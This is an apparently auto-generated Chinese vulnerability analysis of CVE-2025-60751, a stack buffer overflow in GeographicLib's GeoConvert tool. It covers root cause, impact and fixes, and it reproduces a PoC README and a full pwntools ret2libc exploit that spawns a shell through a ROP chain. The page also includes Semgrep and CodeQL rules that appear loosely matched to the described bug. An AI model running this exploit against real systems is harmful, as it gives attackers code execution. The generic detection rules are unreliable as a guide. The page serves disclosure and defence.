🎯 CVE-2025-60751 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2025-60751 深度技术分析
摘要:CVE-2025-60751 是 GeographicLib 2.5(含 2.5.1)中 GeoConvert 工具存在的一个栈缓冲区溢出漏洞,CVSS 评分为 7.5(高危)。攻击者通过向 GeoConvert 传入特制的输入,可触发 DMS::InternalDecode 函数中的越界栈写入,进而利用 ROP 链实现 ret2libc 攻击,获得目标进程的控制权。本文从漏洞根因、利用原理、影响危害及修复缓解四个维度进行深度技术分析。
📌 漏洞概述
GeographicLib 是一个广泛用于地理计算的开源 C++ 库,提供大地测量、投影转换、地理坐标解析等功能。其自带的命令行工具 GeoConvert 用于地理坐标格式转换,支持 DMS(度-分-秒)格式输入。CVE-2025-60751 影响 GeographicLib ≤ v2.5.1,漏洞类型为栈缓冲区溢出(Stack Buffer Overflow),由 DMS::InternalDecode 函数在处理畸形输入时未正确校验内部索引导致越界写触发。NVD 给出的 CVSS 3.x 评分为 7.5(HIGH),攻击复杂度低、无需特权即可利用,但 exploit 需要目标环境具备一定条件(如关闭 ASLR 或配合信息泄露)。该漏洞由研究员 Me zer0matt(Rosario Matteo Grammatico)于 2025 年 8 月 20 日发现并公开,同时提供了完整的 PoC 和利用代码。截至分析时,该 CVE 尚未被收录进 CISA KEV 目录,但漏洞的可利用性已得到充分验证。
🔬 漏洞根因分析
GeographicLib 的 DMS::InternalDecode 函数负责将 DMS(度分秒)字符串解析为十进制度数。该函数内部使用了一个字符索引变量(例如 i)来遍历输入缓冲区,并根据解析到的字母(如 N、S、E、W、十进制度符号等)更新索引和输出缓冲区位置。然而,在解析某些非法格式(例如错误地使用 UPS 极地球面坐标带的字母)时,函数没有对索引的范围进行充分约束,导致索引可以被推进到超出预期边界的位置。
根据现有的资料和 exploit 分析,问题的核心在于:函数在遇到不期望的字符或错误状态后,仍然基于该字符的类别执行跳转逻辑,其中一条路径会将一个“列字母”写入栈上的输出数组,但数组下标由输入中的某个字符(如字母 A)决定,而这个下标没有被限制在数组长度内。例如,PoC 中通过构造包含“A”的输入,使得程序在错误路径下将“A”写入了栈上偏移为负或过大的位置,从而破坏栈上保存的返回地址。
更具体地看,DMS::InternalDecode 在解析“UTM/UPS”带字母时,使用了形如 upsA、upsB 的数组或字符串查找表,并利用输入字母的 ASCII 码减去基准字符来计算索引。当输入字母不在预期的集合(如 JKLPQRSTUXYZ)中时,索引计算会生成一个越界值,但后续代码并未检查这个索引是否在合法范围内,而是直接使用它访问栈上的字符数组或做写操作。在实际攻击中,攻击者可以精确控制这个越界索引,使其指向返回地址所在的位置,从而用精心选择的内存字节覆盖返回地址。
由于 GeoConvert 程序在编译时默认没有开启栈保护(Stack Canary),且虽然启用了 PIE 和 ASLR,但在真实利用场景中可以结合地址泄露或在关闭 PIE 的环境下固定地址,使得该漏洞可以被稳定利用。PoC 中显示的 ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ 即为触发漏洞前程序输出的错误信息,随后程序并未安全退出,而是继续使用了有缺陷的索引,导致了栈溢出。从 exploit 代码看,攻击者使用 136 字节的填充后直接覆盖了返回地址,并布置了经典的 ROP 链:ret 用于栈对齐,pop rdi; ret 用于将 /bin/sh 字符串地址传入,然后调用 system,最终调用 exit。这表明漏洞不仅是简单的崩溃,而是可以完全劫持控制流。
该漏洞的根因本质上是一个“边界验证缺失”问题:开发者虽然对输入字符做了“是否属于合法集合”的判断(错误信息中列出了合法集合),但在执行路径中仍然基于未经验证的索引进行了内存写操作。修复的关键在于:在使用索引访问数组前,必须检查索引是否处于合法范围内;同时,在检测到非法输入时应当立即返回错误状态,而不是继续执行后续逻辑。
💥 影响与危害
成功利用该漏洞可导致以下危害:
- 任意代码执行:通过堆栈溢出覆盖返回地址,攻击者可劫持程序控制流,执行任意 shellcode 或调用 libc 函数(如
system),从而获得与GeoConvert进程相同的权限。 - 远程攻击面:如果
GeoConvert被集成到网络服务中(例如 Web 地图服务、地理数据处理 API),远程攻击者可发送精心构造的 DMS 字符串触发漏洞,无需本地交互即可利用。 - 数据完整性与可用性:即使不进行代码执行,越界写也可能导致程序崩溃(DoS),影响依赖该库的地理信息系统稳定性。
- 提权风险:若
GeoConvert以高权限运行(如 SUID 或系统服务),漏洞可能被用于本地提权。
当前该漏洞未出现在 CISA KEV 中,表明在野利用尚未被官方确认,但公开的 PoC 和完整 exploit 已存在,攻击门槛较低,尤其在许多实际部署中 ASLR 可以被绕过(如通过非 PIE 编译或地址泄露),因此实际风险较高。
🛡️ 修复与缓解
针对 CVE-2025-60751,建议采取以下措施:
- 升级 GeographicLib:官方已修复该漏洞,应立即升级到 v2.5.1 之后的版本(如 v2.5.2 或更高)。请从官方仓库(github.com/geographiclib/geographiclib)获取最新版本。
- 限制输入格式:在使用
GeoConvert的服务入口处,对用户输入的 DMS 字符串进行严格的白名单校验,拒绝包含非法字母(如非 UTM/UPS 合法带字母)的输入。 - 启用编译缓解措施:在重新编译依赖包时,启用栈保护(-fstack-protector-all 或 -fstack-clash-protection)、强制 RELRO(-Wl,-z,relro,-z,now),并考虑使用 CFI(控制流完整性)技术。
- 部署运行时防护:利用 ASLR、PIE、SEHOP(Windows)等机制提高利用难度;使用 seccomp 或容器限制进程权限,减少被利用后的影响。
- 监控与检测:监控
GeoConvert进程的异常行为,例如收到非法 DMS 输入后崩溃或产生非预期的错误输出。可参考 PoC 中的错误信息特征“Column letter ... not in UPS band ...”作为入侵检测特征。 - 禁用不需要的功能:如果不需要 GeoConvert 的 UPS 转换功能,可在代码中禁用相关解析路径,或从编译配置中移除相应组件。
鉴于该漏洞已有公开 PoC 且利用代码完整,建议所有使用 GeographicLib 的开发者、运维人员立即评估自身系统是否受影响,并优先执行版本升级。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源zer0matt/CVE-2025-60751针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2025-60751
PoC for CVE-2025-60751
Affected product: [Geographiclib](https://github.com/geographiclib/geographiclib) <= v2.5.1
The full writeup article is available at [https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html](https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html)
### Description
A stack buffer overflow occurs when GeoConvert receives a crafted input.
The overflow occurs because the program does not properly validate an internal index,
allowing an out-of-bounds write on the stack.
An attacker can exploit this vulnerability to hijack the program's control flow by overwriting a return address to point to a libc function (ret2libc) and execute arbitrary code using a ROP chain.
### Usage
```
[~] python3 CVE-2025-60751.py
[*] '/home/matt/geographiclib/tools/GeoConvert'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process '/home/matt/geographiclib/tools/GeoConvert': pid 398391
[*] Switching to interactive mode
ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ
$
```
### Notes
Remember to fix the addresses accordingly in order to build your own ROP Chain,
addresses can vary due to memory defenses techniques such as ASLR.⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码([webapps] GeographicLib v2.5.1 - stack buffer overflow)。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52521针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
Exploit title: GeographicLib v2.5.1 - stack buffer overflow
Date of discovery: 20 August 2025
Exploit Author: Me zer0matt (Rosario Matteo Grammatico)
<https://github.com/zer0matt>
Vendor homepage: https://github.com/geographiclib/
Software link: https://github.com/geographiclib/geographiclib
Affected version: GeographicLib <= v2.5.1
Tested on: Kali Linux 6.12.25-amd64 (Virtual Machine)
CVE id: CVE-2025-60751
Github issue: https://github.com/geographiclib/geographiclib/issues/43
Exploit repository: https://github.com/zer0matt/CVE-2025-60751
Blog post: https://zer0matt.github.io/CVE-2025-60751/
from pwn import *
# --- INITIAL CONFIG ---
binary_path = "./GeoConvert"
elf = ELF(binary_path)
context.binary = elf
context.arch = 'amd64'
# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---
pop_rdi = 0x000055555558BEFD
ret_gadget = 0x000055555558A016
system_addr = 0x7ffff7a5d110
binsh_addr = 0x7ffff7bb1ea4
exit_addr = 0x7ffff7a4c340
# --- PAYLOAD ---
offset = 136
payload = b"A" * offset
payload += p64(ret_gadget) # stack align
payload += p64(pop_rdi) # pop rdi;
ret
payload += p64(binsh_addr) # "/bin/sh" address
payload += p64(system_addr) # system("/bin/sh")
payload += p64(exit_addr) # exit
io = process(binary_path,env={"ASAN_OPTIONS":"detect_stack_use_after_return=1"})
io.sendline(payload)
io.interactive()🕵️ 检测指纹
针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。
🛡️ Semgrep 审计规则: CVE-2025-60751.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-60751.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-60751.yaml
rules:
- id: CVE-2025-60751-memory-corruption-cpp
languages: [cpp]
severity: ERROR
message: "Potential stack buffer overflow in GeographicLib via GeoConvert. Use safe string functions or bounds checking."
pattern: memcpy($DST,$SRC,$SIZE)
fix: "memcpy_s(dst,dst_size,src,
src_size) // Use secure version with size checking"
metadata:
cwe: "CWE-121"
owasp: "A6: Security Misconfiguration"
technology: geographiclib
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-60751"
- id: CVE-2025-60751-memory-corruption-cpp-recv
languages: [cpp]
severity: ERROR
message: "Potential stack buffer overflow from unchecked input in GeographicLib. Validate input length before using."
pattern: recv($SOCKET,
$BUF,$LEN,...)
fix: "if (recv(socket,buf,len,0) <0) {/* error handling */ }// Add size validation"
metadata:
cwe: "CWE-121"
owasp: "A6: Security Misconfiguration"
technology: geographiclib
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-60751"🛡️ CodeQL 审计规则: CVE-2025-60751.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2025-60751.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id cpp/memory-corruption/cve-2025-60751
* @name Stack buffer overflow in GeoConvert command-line tool
* @description User-controlled input is processed by GeoConvert without proper bounds checking,
leading to a stack buffer overflow that can overwrite the return address.
* @problem.severity error
* @tags security
* external/cwe/cwe-121
*/
import cpp
import semmle.code.cpp.security.dataflow.TaintTracking
class GeoConvertBufferConfig extends TaintTracking::Configuration {GeoConvertBufferConfig() {this = "GeoConvertBufferConfig" }override predicate isSource(DataFlow::Node source) {
// stdin input source
source.asExpr().(FunctionCall).getTarget().getName() = "fgets" or
source.asExpr().(FunctionCall).getTarget().getName() = "scanf" or
source.asExpr().(FunctionCall).getTarget().getName() = "read" or
source.asExpr().(FunctionCall).getTarget().getName() = "fread"
}override predicate isSink(DataFlow::Node sink) {
// data being written to a stack buffer via unsafe copy/buffer operations
exists(FunctionCall fc |fc.getTarget().getName() = "strcpy" or
fc.getTarget().getName() = "strcat" or
fc.getTarget().getName() = "sprintf" or
fc.getTarget().getName() = "memcpy"
|fc.getArgument(0).getUnspecifiedType().(ArrayType).isComplete() and
fc.getArgument(1) = sink.asExpr()
)
}
override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {// arithmetic operations or truncations that propagate taint
any(ArithmeticOperation op |op.getAnOperand() = node1.asExpr()).getResult() = node2.asExpr()
}}from GeoConvertBufferConfig cfg,DataFlow::PathNode source,DataFlow::PathNode sink
where cfg.hasFlowPath(source,sink)
select sink.getNode(),source,sink,
"User-controlled input flows to a stack buffer without bounds check,causing potential stack buffer overflow in GeoConvert."🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 03:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库